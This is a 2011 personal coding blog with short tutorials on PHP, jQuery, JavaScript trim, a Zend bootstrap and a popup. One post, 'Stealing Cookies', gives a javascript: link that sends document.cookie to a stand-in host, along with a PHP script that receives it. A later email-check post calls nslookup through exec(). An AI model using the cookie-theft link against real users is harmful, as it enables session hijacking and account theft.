Wednesday, 2 November 2011

Second largest number in PHP

$arr = array(10,12,2,3,5,12,55,23,2,33,45,56);

 $temp[0] = $arr[0];
 $temp[1] = $arr[0];
 for($i=0,$n=count($arr); $i<$n; $i++)
 {       
        if($arr[$i]>$temp[0])
        {
            $temp[1] = $temp[0];
            $temp[0] = $arr[$i];
        }

        if($arr[$i] > $temp[1] && $arr[$i]<$temp[0]) $temp[1] = $arr[$i];

       
 }
 echo 'Second largest number - ' . $temp[1];

Wednesday, 5 October 2011

validation pop

<html>
    <head>
        <title>Tool Error</title>
        <style type="text/css">
            #errmsg{
                    /*background-color:#EEEEEE;*/
                    display: none;
                    left: 137px;
                    right: auto;
                    top: 145px;
                    position:absolute;
                    width:100%
                   
                    /*border:1px solid #111111;opacity:0.85;*/
                    /*padding:5px;*/
                    z-index:1000;
            }
            #errmsg .text{
                        float:left;
                        margin-top:1px;
                        margin-left:-1px;
                        padding-right:5px;
                        height:37px;
                        z-index:2000;
                        border-top: 2px solid #A1A1A1;
                        border-right: 2px solid #A1A1A1;
                        border-bottom: 2px solid #A1A1A1;

           
                    }

            .left{ float:left; }
            .right{ float:right; }
        </style>
        <script type="text/javascript" src="jquery-1.6.1.js"></script>


        <script type="text/javascript">
                function inline(id,msg)
                {               
                    var offset = $('#'+id).offset();
                    var width =     $('#'+id).width()+20;
                   
                    $('.text').html(msg);
                    $('#errmsg').css('top',offset.top+'px');
                    $('#errmsg').css('left',offset.left+ width+ 'px');
                    $('#errmsg').show();
                }
                $().ready(function(){               
                    $('#sub').click(function(){
                         $('#errmsg').hide();
                        if($('#f_name').val()=='')
                        {
                                inline('f_name','Enter the First Name');   
                                return false;
                        }
                   
                        if($('#l_name').val()=='')
                        {
                                inline('l_name','Enter the Last Name');   
                                return false;
                        }

                        if($('#email').val()=='')
                        {
                                inline('email','Enter the Email Name');   
                                return false;
                        }
                   
                    })           
               
                });

        </script>
     </head>
    <body>
        <table>
            <tr>
                    <td>First Name</td>
                    <td><input type="text" id="f_name" name="f_name"></td>
            </tr>
            <tr>
                    <td>Last Name</td>
                    <td><input type="text" id="l_name" name="l_name"></td>
            </tr>
            <tr>
                    <td>Email</td>
                    <td><input type="text" id="email" name="email"></td>
            </tr>
            <tr>
                    <td></td>
                    <td><input id="sub" type="button" name="sub" value="submit"></td>
            </tr>
        </table>       
        <div id="errmsg" class="">
           
            <div class="left"><img src="http://www.fantasie.com/App_Themes/Fantasie/images/left_arrow.gif"/></div>
            <div class="text" style="display: block;">Note that the tooltip disappears when clicking the input element</div>
       
        </div>
    </body>
</html>










Tuesday, 7 June 2011

Trim in javascript.

Here, I used regular expression to remove White space and Tab. You can easily understand the code, it very simple.
<html>
 <head>
  <title>Trim Example</title>
<script type="text/javascript">
    function rtrim(str)
    {
           if(str=='') return '';
           var rReg= /[\t \s]+$/;
           return str.replace(rReg,'');       

    }
    function ltrim(str)
    {
           if(str=='') return '';
           var rReg= /^[\t \s]+/;
           return str.replace(rReg,'');       

    }
    function trim(str)
    {
            if(str=='') return '';
            str = rtrim(str);
            return ltrim(str);       

    }
    function check()
    {
         var val =document.getElementById('user').value
                           
                val = trim(val);
        alert(val.length);
    }



</script>

 <body>
            <input type="text" id="user" name="user" value='' />
            <input type="button" name="button" value="check" onclick="check();">

 </body>
</html>

Monday, 30 May 2011

Simple Bootstrap for Zend Framework

Bootstrap file is used to run the Zend framework. It execute with every request. To work with bootstrap we require htaccess file, which help to execute bootstrap file first with any page requested by the user.

Following is the code of .htacess for framework.

RewriteEngine on
RewriteBase /
RewriteRule !\.(js|ico|txt|gif|jpg|png|css)$ index.php

In above expression it mention that any request except js|ico|txt|gif|jpg|png|css files, will run the index.php which also be a bootstrap file.

In bootstrap file, we need to specify the requirement and configuration. In beginning we set the default include path. so, when we will call any require file then it will search the file in the set path folder.
So, see how we going to use it.

define('ROOT_DIR',dirname(__FILE__));
set_include_path(get_include_path().  PATH_SEPARATOR . ROOT_DIR . '/library/'. PATH_SEPARATOR . ROOT_DIR . '/application/models/'. PATH_SEPARATOR . ROOT_DIR . '/application/forms/');
  
In above code, I defined the ROOT_DIR Constant which is full path for current directory and I used set_include_path() function to set the default include and require path for file we will need  in future
during program execution.
I used it for following files:
1. Library Files - which will be inside ROOT_DIR . '/library/' directory.
2. Model Files - which will be inside ROOT_DIR . '/application/models/' directory.
3. Form Files - which will be inside ROOT_DIR . '/application/forms/' directory.
4. Previous Default Folder - get_include_path().

So, next time if i need any files inside above folder then i don't need to specify the full path, only i need to specify the file name.

Now, we need to define the controller path. So, we need Front.php file, which is inside library/Zend/Controller folder. 

$front= Zend_Controller_Front::getInstance();
$front->setControllerDirectory( './application/controllers');
$front->dispatch();
Font.php contain getInstance static function which is used to create class object by reference. Inside this class there is function
called setControllerDirectory() used to define the controller folder. Atlast dispath() function which is work like a kick start.

 Whole code is following index.php
 define('ROOT_DIR',dirname(__FILE__));
 set_include_path(get_include_path().  PATH_SEPARATOR . ROOT_DIR . '/library/'. PATH_SEPARATOR . ROOT_DIR . '/application/models/'. PATH_SEPARATOR . ROOT_DIR . '/application/forms/');

 $front= Zend_Controller_Front::getInstance();
 $front->setControllerDirectory( './application/controllers');
 $front->dispatch();

 It is the minimum code to create a bootstrap file. we can also create advance bootstrap to work with advance work.

 



Sunday, 29 May 2011

Stealing Cookies

           Steal a cookie is very simple. Just it require one line of code. So, i am showing you how to do this. For this we require client and server script language. I am going to use javascript for client side and php for server.
In javascript we need to use code like as follow:
<a href="javascript:document.location='http://example.com/c.php?c='+escape(document.cookie);" >Hi Click here</a>.
In above code , document.cookie is used get the whole cookie. Which will sent to server “example.com” . To save the cookie we require sever script language. So, for that we require php. The  code will be like following
if(isset($_GET[‘c’]))
{
                                echo $_GET[‘c’];
}
So, it is very dangerous to click any link. It can be contain as such malfunction code.  That’s why site like facebook and orkut not allow to put tag in scrap and comment.

Friday, 27 May 2011

Popup using javascript

I want to share my knowledge regarding How to create a popup using javascript.

so first we will create html. Inside html we will need popup so, we will use DIV tag like below.
 <div id="popup">
        <div id="innerpopup" >
        <a href="javascript:close();" style="float:right;margin-right:10px;">Close</a><br/>Hello World

        </div>
 </div>

  In above we used two div.
  1. One div id is popup. This div actually cover the whole body so, we can click anywhere inside the body.
  2. Second div id is innerpopup. This div is actually used to display the content of popup.


  In above Div. We need to add some property to make it popup. So we need Css. Using Css we can define the property of div.
   #popup{
     position:absolute;
         width:100%;
         height:100%;
         display:none;
         top:0px;
         left:0px;
         background-color:#c0c0c0;
         opacity:0.8;
         filter: alpha(opacity = 80);
  }
  #innerpopup{
               width:400px;
               height:400px;
               margin-left:auto;
               margin-right:auto;
               margin-top:200px;
               background-color:#534435;
       }

    In above Css I define the popup width and height 100 percent so, it will cover the whole body
    and the important point i define the popup div as absolute to overlay the body.

    
    Now we need javascript to show and hide the popup.

    function show()
        {
               document.getElementById('popup').style.display ='inline';
               return;
        }
                     
        function close()
        {
               document.getElementById('popup').style.display ='none';
               return;
        }

so, Below is the whole code.

<!DOCTYPE html PUBLIC "-//W3C//DTD html 4.0 Transitional//EN">
<html>
 <head>
 <title> Pop Up </title>
 <style type="text/css">
  #popup{
     position:absolute;
         width:100%;
         height:100%;
         display:none;
         top:0px;
         left:0px;
         background-color:#c0c0c0;
         opacity:0.8;
         filter: alpha(opacity = 80);
  }
  #innerpopup{
               width:400px;
               height:400px;
               margin-left:auto;
               margin-right:auto;
               margin-top:200px;
               background-color:#534435;
       }
 </style>

 <script type="text/javascript">
           function show()
                       {
               document.getElementById('popup').style.display ='inline';
                               return;
                       }
                       function close()
                       {
                               document.getElementById('popup').style.display ='none';
                               return;
                       }
 </script>
 </head>

 <body>
       <div><a href="javascript:show()">Show</a></div>

       <div id="popup">
                                               <div id="innerpopup" ><a href="javascript:close();"
style="float:right;margin-right:10px;">Close</a>

                                               <br/>Hello World

                                               </div>
               </div>
 </body>
</html>

Verify Email Address in PHP


Hi Guys

          Today we are going to discuss about "How to verify email  in PHP". I read many articles regarding this issue.
     There is no perfect way that we can find out whether the email id is exist or not, but we can find out the existence of email domain.
     So, I want to share my knowledge with you.

     For a format validation we can use regular expression like
^[a-z0-9\.]+@[a-z0-9]+\.[a-z]{2,6}$
     In above pattern. I define that email can be alphanumeric  a-zA-Z and can be dot, numeric 0-9 and dot \. After that for domain also been checked same way as ID excluded dot so i had excluded.
So, extension also which can be alphabets from 2 to 6 character.

     To check the format we can use this regular expression in php like below.

     $txtemail='someone@domain.com';
     if(!ereg('^[a-zA-Z0-9\.]+@[a-zA-Z0-9]+\.[a-z]{2,6}$',$txtemail))
     {
               echo 'Invalid Email';

     }else{

                   //check for email domain


     }


     In above else parts we can confirm that the email format is Okay but domain may not be exist. So, to check that we can do the following things.
     In window system, we can use one dos command "nslookup" to check the domain. For example

     nslookup -type=MX gmail.com

     output:
       gmail.com mx preference = 20, mail exchange =
      alt2.gmail-smtp-in.l.google.com
       .................
       .................

     It means it is valid. Otherwise it will return some error.
     We can execute this command using exec() function like exec('nslookup -type=MX gmail.com');
     In this way at some extent we can check the validity of email.                   
     Thanks for giving yours time. Happy coding day....